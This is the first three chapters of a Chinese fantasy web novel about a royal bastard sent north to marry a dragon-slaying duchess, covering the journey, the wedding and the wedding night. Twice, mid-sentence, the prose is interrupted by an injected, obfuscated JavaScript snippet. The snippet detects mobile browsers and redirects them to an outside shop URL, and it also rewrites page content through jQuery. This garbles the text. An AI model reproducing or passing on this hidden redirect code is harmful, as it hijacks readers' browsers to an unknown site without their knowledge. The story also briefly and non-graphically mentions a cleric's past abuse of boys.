《北境往事》 1. 第一章 瑟洛里恩掀开窗帘,扑面而来的寒风令他叹了口气,然而那声叹息也很快也化作白雾弥散在了空气中。 他十二岁那年,王都迎来了近十年来最大的一场暴雪。当时他躲在厨房的地窖里瑟瑟发抖,手脚几乎没有了知觉,本以为那会是他此生记忆中最冷的夜晚——事实证明,他不过是一个寡见少闻的南方佬,对于真正的严寒毫无概念。 “殿下。”他的随行骑士黎塞留勒紧了缰绳,让马放缓脚步与他平行,“前方五公里有一座城镇,我们今晚可以在那里过夜。” 瑟洛里恩当然知道这趟北境之旅的煎熬与对方毫无关系,但还是忍不住抱怨:“你最好保证这是最后一次。” “我能理解您此刻的心情,但请恕我无法给您任何保证。”黎塞留答道,“我也是第一次往北走这么远,并不确切地知道埃达城距离这里有多远。” “伍洛德怎么说?” “恐怕他也不知道,殿下。” 他忍不住讥讽:“是吗?我还以为我们尊贵的王家使者无所不知呢。” “请务必忍耐。”黎塞留低声道,“等您完婚后,伍洛德大人就会启程回南方了。如果您现在就惹怒他,他或许会向凯洛家族散播一些对您不利的谣言。” 是啊,忍耐……他已经忍了整整十八年,再多忍个十几天也不是问题。 抵达城镇后,他们在一家名叫“臭山羊”的客栈里落了脚。 这家店的老板真是一位实诚人,客栈提供的羊肉又膻又硬,唯一的调料是盐巴。瑟洛里恩宁可去啃昨天剩下的生芜菁也不想啃这玩意,但多年来的习惯让他无法眼睁睁看着食物被浪费,最后只好硬着头皮拿起羊腿,每咬一口,他就感觉有一只无形的羊蹄子伸进了嘴里。 令人痛苦的晚餐结束后,瑟洛里恩一边等待着热水烧开,一边躺在床上漫不经心地听着窗外寒风的呼啸……毫无来由的,他突然回想起了出发前与王后陛下最后(也是唯一)的对话。 初次见面时,英格丽王后打量了他很久,神情十分复杂。 瑟洛里恩不知道她对他是否满意,但那些都无所谓了——赐婚的敕谕早已下达,无论她能否接受眼前这个像老鼠一样在后厨角落里长大的私生子成为自己的妹夫,都已经无济于事了。 最后,她轻轻叹息一声:“我想你应该多少听说了一些传闻,关于我的妹妹希瑟……无论其他贵族如何中伤她,作为她未来的丈夫,我希望你能知道,希瑟是一个很好的人。” “当然,陛下。”瑟洛里恩并不知道他未来的妻子究竟好或不好,不过他又能回答什么呢? “就我看来,这张脸蛋似乎过于美丽了。”她看向他的目光逐渐变为审视,“有着这样一张脸,难免会有一颗同样轻浮的心……当然,你远在北境,鞭长莫及,我自然阻止不了你的心飞往别处,但请答应我,假如你不爱希瑟,就别用甜言蜜语欺骗她。正如我之前所说,她是一个好人,即使没有爱情,她也会好好待你的。” ………… “殿下,热水准备好了。” 瑟洛里恩猛地回过神,发现仆从已经站在了他的床前,不禁有些恼火:“我不是说过进来之前要先敲门吗?!” 对方漫不经心地回答:“是,殿下。” 可等到下一次,他们还是会像这样毫无顾忌地擅自闯进来,对他的怒火视若无睹——也是,亲王的身份只能骗骗消息落后的北境人,可骗不了这些从王宫来的人精。 说到底,这只能怪国王陛下他自己,上位后就把其他兄弟杀了个七七八八,想要联姻都找不到倒霉蛋,最后只好纡尊降贵地将姓氏赐予了十几年前先王在厨娘腹中留下的脏种……可惜即便有了王族的名号,他骨子里依旧是一个肮脏的私生子。 第二天一早,趁仆从们收拾行囊的时候,瑟洛里恩在大堂里与客栈的老板攀谈起来。 通往北境的道路寒冷且漫长,他先后在许多家客栈和酒馆里过夜,也与闻了不少关于这位北境公爵的轶事——事实上,甚至不必特意打听,屠龙的惊世功绩早已使希瑟·凯洛名扬四海,成为人们茶余饭后时常谈论的对象,只是不同地方的人们对她的侧重点也不同。 刚离开王都时,绝大多数人对她的印象是“不男不女的怪物”,认为她身为一个女人,以这样的面目来到世上是可悲的。在向北行进了一段时间后,谈论的内容大多变成了她屠龙的事迹,但提及她本人的时候,依然伴随着几句意味不明的惋惜。 而眼前的老板——这位土生土长的北境人,反而对公爵本人没有什么复杂的想法。当瑟洛里恩试图将话题往她身上引时,对方只是表达了对边疆以北近来不断受到蛮族骚扰的担忧,想知道公爵打算如何处理此事。 想来也是,北境人毕竟是真的生活在凯洛家族的领地内。对他们而言,这位公爵大人并非什么活在各种逸闻中的神奇生物,仅仅是他们日常生活的一部分,自然不会像其他地方的人那样对她怀有猎奇的心态。 不过,瑟洛里恩发现当地人好像还不知道王室和凯洛家族联姻的事情……从中似乎可以窥见他未来婆家的态度。 而对于他“公爵大人是一位怎样的人”的问题,老板绞尽脑汁思考了很久,最终成功得出了这个世界上最无趣的回答:“她是一个好人。” 这已经不是他第一次听到类似评价了——瑟洛里恩很好奇这句话背后究竟意味着什么,是说希瑟·凯洛的确品德出众,乃是北境贵族之表率?还是说她除了性格还算不错,实在没有其他值得称道的地方? 可惜现实没有留给他太多时间,很快仆从就过来催他上马车,他只好带着未解的疑虑离开了客栈。 此后的很长一段时间,他们都没能找到能落脚的地方。北境地广人稀,光是要找到一座有十人以上居住的村落都很困难。外面的雪景起初让他感到新奇,但久而久之他的眼睛便时常干涩疼痛,只好待在马车里昏昏沉沉地挨度时日。 在漫长的旅程中,瑟洛里恩逐渐模糊了对时间的感知。当他不知第几次因为车轮颠簸而把胃里的东西吐了个干净的时候,黎塞留的声音犹如天使带来的神谕般降临。 “殿下,我们已经抵达埃达城了。” 作为北境的都城,埃达城虽然没有王都的热闹繁华,但已经是瑟洛里恩这段时间以来见过最像城市的地方了。 穿过高耸的花岗岩城墙,映入眼帘的是一座座由木头和岩石搭建而成的灰色房屋。主干道上的积雪已经被清理了,露出斑驳的石板路。来往的行人无一不穿着厚重的皮袄,行动缓慢却安静。铁匠铺尚未开门,却已经点燃了熔炉,几个孩子围在边上取暖,炉火融化了他们眉毛上凝结的白霜。 据说毒龙埃特尔曾经突袭过这里,用龙焰让整座城市化为火海——不过毒龙劫已经是五年前的事情了,看得出埃达城早就从过去的阴霾中走了出来,除了部分明显是近两年才搭建的新房屋,几乎看不出这座城市经历过怎样的伤痛。 马车驶入白盔堡后,瑟洛里恩拖着冰冷而疲倦的身躯下了马车,满脑子都是先找张温暖的床睡上一觉。然而,还未等他的视线从石板地上挪开,来者的影子已经抵住了他的靴尖。 “瑟洛里恩殿下。” 低沉的女声响起……瑟洛里恩抬起头,第一次见到了他未来的妻子。 坦诚说,希瑟·凯洛本人显然与“美丽”二字毫无关系,但也没有像许多人所说的那样“是个不男不女的怪物”。她的皮肤是健康的麦色(以贵族淑女的标准来看属于“黝黑”),整张脸给人一种……遗憾的感觉,五官排布得很好,如果能够再精致一点,应该称得上是一位美人。 但事实是,她的眼鼻口无一不给人以粗拙的钝感,像是一块精美的锦织被人粗暴地撕扯过,没有彻底支离破碎,但在边缘留下了粗糙的痕迹,这确实令她的脸多了几分男相,而她高大到堪称伟岸的体格则愈发加重了这种印象。 瑟洛里恩从未见过这么高的女人——她至少有六英尺,甚至更高。她身上银灰色的板甲像是一座可移动的钢铁堡垒,如果让他来穿,估计不出几步就会气喘吁吁,披在她身上时却让人感觉轻如薄纱。 有传闻说她空手拧断了毒龙的脑袋,他原本只当是无稽之谈,现在看来好像也不是没有可能。 对方很明显不是那种人们所期待的贤妻典范,但可能是南方贵族把她描述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054149|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得太可怕了,瑟洛里恩意外地没有感到很失望。他人生中与贵族们为数不多的交际是在宴会后捡他们的剩菜吃,所以不太介意他的妻子能不能把自己套进束身衣里。 “以及黎塞留·布雷泽爵士。”对方微微颔首,“距离上次见面已经有四年多了吧?“ ……等等,黎塞留居然认识她? 他都不知道这件事! “虽然时别数年,但您在比武竞技大赛上的英姿依旧令人难忘。”他的好友用他这辈子都没听过的恭谨语气答道,“希望日后能在校场得到您的指教……” 话音未落,随行而来的王室使者伍洛德·利恩斯男爵抢先一步道:“真是久仰大名了,公爵大人。” 硬是从他和黎塞留中间挤过去后(明明旁边就有路可以走),伍洛德用他不太强壮的身板强行挡在他们前面,热情地与公爵攀谈起来。 瑟洛里恩跟对方相处了一个多月,早就领教过他没话找话的能力,除非北境的大雪彻底没过他的脑袋,否则他是不会住嘴的。 “王后陛下心里一直挂念您呢,特意命我带来了两瓶名贵的佳酿作为结婚酒,它们都产自您外祖蒙哈榭家族的葡萄酒庄。”伍洛德舔了舔嘴唇,他的舌头又长又尖,像是有一条湿滑的蛇从他的嘴角爬过,“国王陛下对这场婚事也非常关心,只可惜婚礼没法在王都举行……” 然而,无论他的语气多么谄媚,都无法改变王室只用一架没有王家标志的朴素马车和几个装衣服的箱子就把新郎打发过来的事实,更别说他们的国王陛下压根没有为这次婚礼花一分钱了。如果不是黎塞留与他自幼相识,主动提出可以护送他前往埃达城,他连一个随行的骑士都没有。 凯洛公爵明显对他的话毫无兴趣,但依然耐心地保持倾听——现在他有点相信“她是一个好人”的说法了,如果他有对方的地位(和体格),不出五分钟就会用拳头把这只大嘴怪像铁钉一样敲进地里。 好一会儿过去,瑟洛里恩忍不住往手心哈了口气,国王陛下只是随便扔了几件新做的华服给他廉价的临时弟弟,并未考虑过它们是否适宜北境寒冷的天气。 “寒暄就先到此为止吧。”凯洛公爵忽然打断了伍洛德,大概也和他一样被冻僵了,“天气寒冷,诸位一路长途跋涉,想必现在也很累了。舍妹已经在城堡里备好了热的羊奶酒,公共浴池也清理过了,用完午餐后就可以入池沐浴。” 伍洛德还想再说下去,却见她危险地眯起了眼睛:“利恩斯男爵,我不喜欢把一句话说两次。” 凯洛公爵或许是一个好人,或许还是一个重视礼节的人,但这都不妨碍她在感到不悦时声音听起来令人害怕。 等到伍洛德·利恩斯神情恐慌地退回队伍中,她的表情才略微缓和。 “请吧,殿下。”对方示意他先走,当他们即将擦肩而过时,她解下斗篷披在他的肩头,“北境不比王都,仅仅是晚秋的寒冷也足以冻掉人的耳朵,请您保重身体。” 灰棕色的斗篷长而厚实,皮毛上残留着一点她的体温,还有一点烈酒和皮革的味道……可能是因为他们即将成为夫妻,瑟洛里恩感觉心神不定,任何一点微小的细节都足以使他胡思乱想:“谢、谢谢……” 蠢货,真正的王族可不会这样战战兢兢地说话! 他的喉咙因为焦虑而紧缩——她知道他其实是私生子吗?在南方,谁都知道国王的兄弟早已悉数命丧他本人之手,但北境消息落后,也许还不知道真相…… 好在公爵似乎没有察觉到有哪里不对,只是吩咐手下的骑士帮忙安置马车,随后带着他们进入了城堡。 城堡大厅的走廊里仍有一丝阴冷,但已经比外面温暖了许多。墙壁和地板皆由灰色的花岗岩建成,比不上富丽堂皇的王宫,但打扫得很干净。墙上不见华丽的织锦和油画,取而代之的是各种栩栩如生的猎物标本,以及用橡木制成的筝型盾牌,上面画着凯洛家族的徽章碧眼红牛。 转角时,瑟洛里恩透过窗户看见了外面银装素裹的庭院,莫名感觉自己依然踩在雪上,脚底发出嘎吱嘎吱的声音,仿佛是某种启示——从今天开始,他就要在这座白雪皑皑的城市里开始新的人生了。 2. 第二章 瑟洛里恩望着镜子的自己,莫名感到了一丝陌生。 不同于过去,这次王室的仆从们拿出了一百二十分的精力。在沐浴时为他涂抹能使头发柔顺的香膏,修整了他的眉毛,剃干净胡须,令下巴保持光洁,协助他穿上礼服,悉心抚平每一丝褶皱,把皮靴擦得锃光瓦亮,最后得到了镜子里的这个人……或者说,这份被精心包装的礼物。 王室的礼物。 瑟洛里恩当然不是什么“美而不自知”的圣人,迫于生存上的压力,他很早就学会了该如何利用这张脸求得别人的面包和旧衣服。不过对于希瑟·凯洛,他确实有点摸不准她的态度——倒不是说他未来的妻子在性格上有多么高深莫测,单纯是因为他很少有机会见到对方。 好在虽然是同父异母的兄弟,但他和国王长得并不相像。 凯洛家族和国王之间的关系糟糕至极,甚至可以说对后者满怀怨怼——毒龙劫发生后,英格丽王后曾请求丈夫召集其他贵族的军队出兵支援北境,阿利斯特国王却对此置若罔闻。当北境人生活在水深火热中时,南方贵族正在享受盛夏的狂欢,宴会和歌舞从不间断,宾客们在醇厚佳酿和甘美水果的包围下过着醉生梦死的生活,肚皮撑到不得不松开自己的裤腰带。 而这只是大众知道的部分,从黎塞留那里,他听说了更多内幕。 阿利斯特国王迷上了年轻貌美的伯爵夫人玛丽昂,这件事王后和伯爵本人都知情。在北境遭遇劫难后,国王已经懒得掩饰自己与玛丽昂夫人之间的私情,并且经常在宴会上毫不留情地羞辱王后。他不止一次当着大臣的面嘲讽自己有一个长着马脸的妻子,甚至当众将酒杯摔在英格丽王后身上。 最重要的是,玛丽昂夫人怀孕了,腹中必定是国王的血脉……若非希瑟·凯洛的屠龙功绩及时传到了南方,如今王后的宝座恐怕早就坐上了新的女主人。 在做尽了无耻下流之事后,眼见北境即将渡过难关,他们自诩英明的国王陛下终于回过了神,意识到自己必须尽快修复与凯洛家族的关系。 瑟洛里恩不认为所谓的联姻能起到什么作用,但那是阿利斯特需要考虑的问题。比起王室的存亡,他更在意自己将来在北境的生活。凯洛公爵或许是一个好人,但不可能完全没脾气,一旦她发现自己竟然屈就了一个私生子,瑟洛里恩毫不怀疑对方会当场让他血溅三尺。 伍洛德虽然是一只喋喋不休的大嘴怪,但应该不会泄露这么重要的消息。说到底,对方不过是国王圈养的宫廷小丑,平日能得到几个笑脸,可只要事情败露,第一个被送上绞刑架的也是他……唯一值得忧虑的就是他的发色。 法比亚王室向来以月光般的浅金发为傲,先王甚至因此破格将一些遗传了金发的私生子加入王室谱系,然而他的金发偏红调——王宫里的人称之为赤铜之金,是他血统不纯的象征。除了缺少贵族气派,这也许是他最大的破绽。 可惜现实没有留给他太多思虑的时间,婚礼即将开始。 结婚仪式的地点并没有定在教堂。瑟洛里恩在出发前做过一些功课,对北境的人文习俗略有了解。 相较于全面信仰新教的南方,北境的宗教信仰则要复杂得多,这可能源于当地复杂的民族构成。最早的一批北境人是从南方迁徙过来的,通常是在政治斗争中失败,被流放至北方的落魄贵族。当时的北境人烟稀少,人群聚落的位置基本集中在如今北境的最南部。 后来,一群自称纳维亚人的海外蛮族坐船抵达了这片大陆,意图在这里建立自己的家园,并且很快就与法比亚王朝展开了全面战争。 法比亚王室虽然把无数饭桶送上了至高的宝座,可战争时期的国王格奈乌斯偏偏是一位少有的贤主明君,才华横溢、敬贤下士、富有领袖魅力,军事方面的才能也十分杰出,在后世被尊称为“荣誉之父”。 他成功率军抵御了蛮族的入侵,还成功说服了一些部族归顺王室,瓦解了纳维亚人(可能本就不太牢固)的联盟。 战争结束后,格奈乌斯国王将北方的土地赐予了所有归顺的部族中最强大的那支——也就是如今的凯洛家族,并许诺他们可以用自己的方式管理领土。 考虑到北境在税务上相比南方没有减免半分,瑟洛里恩认为格奈乌斯国王可能只是想把处理不同部族矛盾的烂摊子丢给凯洛家族去解决……但从结果上来说,北境正是在那时脱离了“位于大陆北方的地区”的模糊概念,变成了一块固定且具体的区域。 基于种种历史因素,北境虽然人口总数不多,却有着相当复杂的文化构成。仅仅在宗教领域,北境就有改信新教的革新教徒,依然信奉旧教的传统教徒,还有部分纳维亚人仍信仰先祖文化中的自然神,对教会所描绘的天父毫无兴趣。 凯洛家族遵循国王的要求改信新教,但看得出态度不太诚恳。按照新教的教规,新人夫妻应该先在教会接受牧师的祝福,再返回家中举办的宴会狂欢庆祝,但凯洛公爵将仪式地点定在了白盔堡,然后邀请主教到城堡担任主婚人。 城堡大厅里只有不到一百名宾客,基本都是凯洛家族的远亲和封臣。 可能是因为现场其乐融融的氛围,也可能是因为一切早已覆水难收,就算后悔也没用了——目前看来,后者的比重更大一些——瑟洛里恩感觉自己好像没那么紧张了,甚至还有心情观察四周,想知道自己在书中学到的知识是否有机会得到验证。 凯洛公爵……考虑到他们即将成为夫妻,从现在开始称呼她为希瑟或许更妥帖一点。她并未身着新娘通常会穿的白色礼裙,取而代之的是一套银白色的铠甲。 瑟洛里恩可以很肯定地说,无论是新旧教还是纳维亚人的传统婚礼,都不会有新娘穿着铠甲结婚。但另一方面,他确实很难想象对方身穿婚裙,头戴白纱的模样,何况希瑟还是北境的领袖,在封臣面前保持威严可能是某种客观上的需求。好在他们都身披斗篷,绝大多数情况下,他们在服饰上的差异并没有太明显。 不过,瑟洛里恩很快注意到了希瑟腰间的金色腰带——他在书里读到过,纳维亚的姑娘会在结婚前从母亲那里收到一根金发带作为嫁妆,日后这根金发带还会继续传给她的女儿。这种习俗在纳维亚人定居北境后逐渐演化成了金腰带,原因是大陆的金矿资源比纳维亚人的故土更多,开采技术也更加成熟。 这种知识得到证实的过程,令他心中不禁萌生出一丝微小的雀跃。 在宣誓仪式开始前,希瑟解下了腰间的长剑交给证婚人——这是纳维亚人的传统之一,在结婚前会从先祖墓地取出祭祀之剑,所有誓词将在这柄剑前进行,以此向自己的盟友展示力量与权威,确保婚姻和结盟的稳固。 据他所知,取剑理应是新郎的义务……但希瑟·凯洛只是性格仁厚,又不是傻瓜,当然不会向一个陌生人敞开家族墓园的大门。而瑟洛里恩暂时也不想涉及这些与死亡相关的场所,虽然他对北境人的丧葬文化很感兴趣,但那是在他自己没有性命之虞的前提下。 “这柄神圣的宝剑将见证你们的誓言。”主教说,“天父啊,世间万物的缔造者,我们谦卑地请求您保佑这场结盟,愿您的仆人一生追寻良善的美德,愿他们永远捍卫公平与正义,愿他们的结合将持续至永恒。” 婚誓环节倒完全遵循了教会的传统,希瑟站在他左侧,与他一同聆听主教的颂词。 “瑟洛里恩·法比亚。”主教看向他,“你是否愿意让这位高贵的女士成为你的妻子,并在天父和所有见证者的面前宣誓,无论疾病还是健康,无论顺境还是逆境,你都将是她忠诚的依靠,她最坚实的保护者,并时刻准备为了捍卫她的名誉而战?” 瑟洛里恩不觉得他的妻子需要任何人为她而战,她可能只要皱皱眉头然后压低了嗓子说话,那些胆敢对她不敬的人就会吓得尿裤子,但这种庄严的场合显然不需要他来制造多余的幽默,最终他只是点了点头:“是的,我发誓。” “希瑟·凯洛……” 待老主教将那段又臭又长的誓词重复一遍之后,希瑟低声答道:“是的,我发誓。” 主教露出了满意的微笑:“现在你们可以交换戒指了。” 瑟洛里恩小心翼翼地将那枚金戒指(可能是阿利斯特施舍给他最昂贵的陪嫁品)戴到希瑟的无名指上:“请接受这枚戒指,作为我对你信任、尊重和爱情的象征。” 希瑟比他高,只要他低头就看不到对方脸上的表情。无论她在听到誓言时内心是否有所触动,等他抬起头的时候,那些情绪都已经消失无踪了。 她也将戒指戴到了他的无名指上:“请接受这枚戒指,作为我对你信任、尊重和爱情的象征。” 戒托是银色的,可能是素银,也可能是北境当地出产的一种名叫铂金的银色金属,上面镶嵌了一枚蓝色的宝石,刚好和他的眸色相同……瑟洛里恩内心颤动了一下,但随后想起前代公爵夫人的眼睛也是蓝色,可能是从父辈那里流传下来的珠宝。 宣誓仪式到此就结束了,但在主教返回教会后,凯洛家族的骑士又在祭坛上摆上了一只山羊和一头鹿——这是纳维亚人的传统,向智慧之父斯诺里献上公山羊,向慈爱之母瓦丽尔献上母鹿。 看得出先祖的传统在凯洛家族依旧占了很大的比重,等到主教离开之后才开始动物献祭可能是他们留给教会最后的体面。 献祭过后,婚礼才算是初步完成。吟游诗人和杂耍弄臣相继出来表演,城堡大厅里的气氛重新热络了起来,客人们也开始享受宴会上的食物。 可能是考虑到天气寒冷,宴会上的食物以热汤和烤肉为主。烤羊腿和胡椒猪肋排的香气让瑟洛里恩心驰神往,但又有点担心油渍会弄脏礼服,所以只是动了蜜汁鹌鹑和烤鹅,奶酪有点呛口,但还算可以接受,冒着热气的鹿肉汤温暖了他的胃,配菜的黄油豌豆和糖拌洋葱也让人食指大动。 甜品的种类也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054150|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比他预想中更多……不过想想也是,抵御严寒需要消耗许多能量,而这些能量需要从糖、奶和肉类中获得。人们往往只记得北境人总是苦着一张脸,仿佛整日只能以冻咸鱼和腌羊肉为食,一生与甜蜜无缘,实际上北境南部有着大片的甜菜地,并不缺少制糖的原材料。 尽管无数次在心里告诫自己不要吃得太饱,瑟洛里恩还是忍不住吃掉了半个奶油派——不能怪他,派上点缀着的酸甜莓果才是罪魁祸首。撒满了肉桂粉的苹果派和新鲜出炉的浆果馅饼也令他印象深刻。 蜂蜜酒和麦酒的香气在大厅中弥漫,可惜他有一个打算带进坟墓里的秘密,除了那两瓶王后作为结婚礼物赠与的葡萄酒,他此生应该不会再沾半点酒水了。 也正是在宴会上,他第一次见到了希瑟的妹妹伊薇特·凯洛,凯洛家族最小的孩子。据说她身体不好,因而很少出现在公众面前。伊薇特和英格丽王后一样是金发蓝眼,但很明显继承了母亲的美貌,皮肤白皙,身材娇小,有着母鹿般的眼睛和精致的小纽扣鼻子。 她宛如归巢的乳燕般钻进希瑟怀里:“姐姐!” 瑟洛里恩不由得愣了一下。不同于娇美可人的外表,伊薇特的声音很……嘶哑,如果一个人发了三天三夜的高烧还没有喝过一口水,大概就会发出这种声音。但他不是阿利斯特那种不懂得看场合的蠢货,不会当着所有客人的面说“嘿,小姨子,你的声音听起来好像乌鸦啊”。 他的小姨子似乎也是一位懂得看场合的人。相比在姐姐面前时的天真烂漫,对方在接受他的拥抱时明显在忍耐,像是一只迫不及待想要跳出窗户的野猫。瑟洛里恩只跟她说了不到十句话,相处时间不超过十分钟,言语间并未有龃龉,但已经隐约感觉到他们在性格上可能有点合不来了。 宴会就这样热热闹闹地持续到了深夜。瑟洛里恩知道北境保留了婚闹的习俗,宾客们会把新娘和新郎扒光,然后簇拥着他们进洞房。 然而,这种情况实际上并没有发生。希瑟只是举起酒杯表示他们该走了,其他客人则纷纷高举酒杯,欢呼他们的名字,其中最有表演欲的也不过是跳到桌子上,手舞足蹈地说了几句荤话。 也是,他的妻子毕竟是屠龙英雄,而正常人一般不会想让自己的脑袋变成烂掉的甜瓜。 “婚闹的环节在我父亲那辈就被取缔了。”可能是看出了他的心中所想,希瑟解释道,“我的母亲也是从南方远嫁到北境的,父亲不希望母亲遭受这些,因此警告出席的客人们不得有任何不敬之举,若有人违背命令,他就当场砍下那个人的头颅。我的兄长西格德结婚时也延续了这种做法。” “前公爵夫妇一定很恩爱。” “是啊。”希瑟低声笑了起来,走廊昏黄的烛光柔和了她的面庞——她应该很少在别人面前放松自己,这个认知让瑟洛里恩莫名有一点骄傲,“你应该已经发现了,城堡的东翼很暖和,因为父亲担心母亲无法适应北境的寒冷,所以凿开了地基,将温泉水引到城堡地下。” “是吗?这可真是……”除了“夸张”二字,他一时竟想不出别的形容词。 “另外,母亲很喜欢看书,所以白盔堡里有一个巨大的图书馆。”希瑟说,“我从黎塞留爵士那里听说你是一名学者,明早我会让伊薇①给你图书馆的钥匙,你可以随意使用。” 哪怕穷尽瑟洛里恩的记忆,也找不出几次被这样友善对待的经历,何况对方还是大名鼎鼎的“屠龙者”希瑟·凯洛。但在受宠若惊的同时,他并没有忘记那个冷酷的事实——亲王只是一个虚假的尊称,真正的他不过是一个卑贱的私生子。 蜡烛将人的脸颊照得微红,也将他的头发照得更红……赤铜之金,血统肮脏的象征,他必须带进坟墓里的秘密。 他佯装随意地问道:“是嘛……黎塞留还说了我什么?” “他说你对神学很精通,并且经常去教会祈祷。”她答道,“你一定是位非常虔诚的信徒。” 这倒是让瑟洛里恩有几分惭愧了,他这么做只是为了得到大主教的举荐信,期望有朝一日可以离开王都,前往千星城成为真正的学士,其实他对神学一点也不感兴趣,祈祷时经常因为无聊而打瞌睡,大主教暗地里过于亲密的抚摸更是令他作呕——幸好对方的肉軆早已如风中残烛,不管他心中对小男孩存有多少肮脏的念头,他的老二都不允许他再这么做了。 不知不觉中,他们已经走到了卧室门前。 希瑟沉默地在原地站了一会儿,忽地问道:“害怕吗?” “怎么会?”瑟洛里恩撒谎了——他当然很害怕,不过他害怕的事情和圆房无关(和他的性命有关),所以他认为自己只能算是撒了半个谎。 闻言,她微微一笑,并没有多说什么。 卧室的大门被推开后,瑟洛里恩看着撒满花瓣的大床,忽然意识到了一个严重的问题…… 他还是个雏儿,不知道怎么跟女人上床。 3. 第三章 短暂的沉寂后,希瑟开口:“夜深了,也是时候休息了。” 瑟洛里恩事先为这个环节准备了不少调情用的俏皮话,但现实是“说话不结巴”已经是他的极限了。 阿利斯特只把他当作可以免费赠送的廉价礼物,随便找了一个礼仪老师在出发前教了他几天,确保他掌握了贵族的基本礼节,却没有人告诉他要怎样当一个丈夫——天知道他们为什么会忘记如此重要的事情,搞得好像贵族子弟一旦到了某个年纪就会突然顿悟这方面的知识一样! 最可悲的是,就连他自己也没想起这件事……现在回想起来,他居然把时间都浪费在了北境植物全集而不是春宫图上,真是一个大傻瓜! 趁希瑟专注于脱卸铠甲的时候,瑟洛里恩试图回忆在柴房和马厩里撞见贵族偷情时的场景,希望能从中汲取一点有用的知识。 然而,在他困顿不安之际,希瑟却径自走到窗边,将蜡烛置于窗台,随后拿起了桌上的书,就着暗淡的烛光认真阅读起来。 瑟洛里恩虽然缺少这方面的知识,但他又不是傻瓜,自然看得出她今晚并不打算和他圆房。 人的情绪总是如此奇妙——在他毫无准备的情况下,希瑟这么做明显是利好于他的,但当对方如此理所当然地认为他们无需在结婚当日履行夫妻间的义务时,他心里又感觉有点不是滋味。 他小声问道:“你……不打算到床上来吗?” “你可以先睡,不必在意我。”对方温和地回答——听起来像是“凯洛公爵”的回答,而不是“希瑟·凯洛”的,“那些花瓣可能是伊薇要求撒的,如果觉得香气太熏人,妨碍了你的睡眠,我可以让仆人进来收拾。” “没关系!”他忙不迭回答,“我不讨厌玫瑰的气味。” 虽然嘴上这样说,但瑟洛里恩怎么可能不在意她?只是他终究没能摆脱私生子习惯性的卑躬屈膝,又满腹心事,不敢多向希瑟追问什么。 脱下了令人感到拘束的结婚礼服,他躺在床上辗转反侧,很想知道自己是不是漏了什么马脚,让对方察觉到了不对劲,但无论是他脱衣服时布料娑娑的声响,还是翻身时床底木板轻微摇晃的声音,都没能分散希瑟一丝一毫的注意力。 这种情况一直持续到了深夜。 失眠了半个晚上的瑟洛里恩感到焦虑又疲倦,忍不住轻声问道:“我有什么地方让你不满意吗?”他不敢问其他方面的事情,以防招致对方的怀疑,只好假装自嘲,“是因为我太矮了吗?” “当然不会。事实上,你和我的兄长西格德差不多高。”希瑟回答,“我想我可能……还没有做好结婚的准备,想必你也是如此。来日方长,等我们对各自的人生考虑得更加清楚后,再决定下一步该怎么做也不迟。” 婚礼结束后才开始考虑这些是不是太晚了……尽管瑟洛里恩心里是这么想的,但是表面上,他只会顺从地表示她的话很有道理。 虽然心里还是很忐忑,但积累了一天的疲惫和长期以来的作息习惯最终还是让他睡着了。 第二天,等瑟洛里恩醒来时,他的妻子已经离开了房间。左半边的床单平整而冰冷,没有任何人在那里躺过的痕迹。 他抬起手,盯着无名指上的戒指,一时不知道应该庆幸还是失落。 王都的贵族大多生活糜烂,十四、五岁就开始滥交的比比皆是,“十八岁的亲王还是处子”显然是一个巨大的破绽……不过在希瑟的认知中,他是一个对宗教很虔诚的人,或许可以用这个作为理由。 可是一码归一码,昨天她甚至没有想过要和他睡在一起,这是一个非常不妙的预兆。 是因为对他不满意吗?虽然希瑟说他跟她的兄长差不多高,但以北境人的标准来看,他的体格确实称不上魁梧,而且他已经有段时间没和黎塞留一起练剑了,缺乏锻炼,肌肉不再像过去那样紧实了。 一想到这里,他的困意就消失了大半,立刻下穿换好了衣服。 相较于白盔堡本身的面积,城堡里的仆从非常少,但瑟洛里恩此刻心慌意乱,也没心情找人问话,凭借过去在王宫里到处溜达的经验,最后他还是顺利地在校场找到了黎塞留。 “怎么起得这么早?”黎塞留好奇地打量他,“新婚燕尔,我还以为您今天一定会赖床呢。” 即使对方是他无话不谈的朋友,瑟洛里恩也没办法向他坦白昨晚发生的事情,只好含糊其辞道:“自从离开王都之后,我就没有练过剑了,再不锻炼一下都要忘光了。” 好在黎塞留和过去一样是个榆木脑袋,并没有太追究背后的原因:“可我也许会伤到您……如果公爵大人看到您身上的伤痕,引发什么误会就不妙了。” “拜托,我们又不是第一次练剑,像以前那样用木剑不就行了。” 黎塞留仍面露迟疑之色,最终从地上捡起了一根长树枝:“我用这个跟您对练,记得要点到为止。” 瑟洛里恩翻了个白眼——只不过几天没有切磋,这家伙居然就把他当书呆子看待了。他等会儿绝对要漂亮地赢得这场较量,让黎塞留长点教训。 然而,不同于他脑海中幻想的“瑟洛里恩轻取胜利,黎塞留泪洒校场”的精彩画面,实际上他只过了几招就被对方用树枝绊倒了。 看见他摔倒在地,黎塞留立刻放下了树枝,忧心忡忡地问道:“您还好吗?有哪里受伤吗?” “有……”他深吸一口气,“我的自尊心。” “您退步了。” 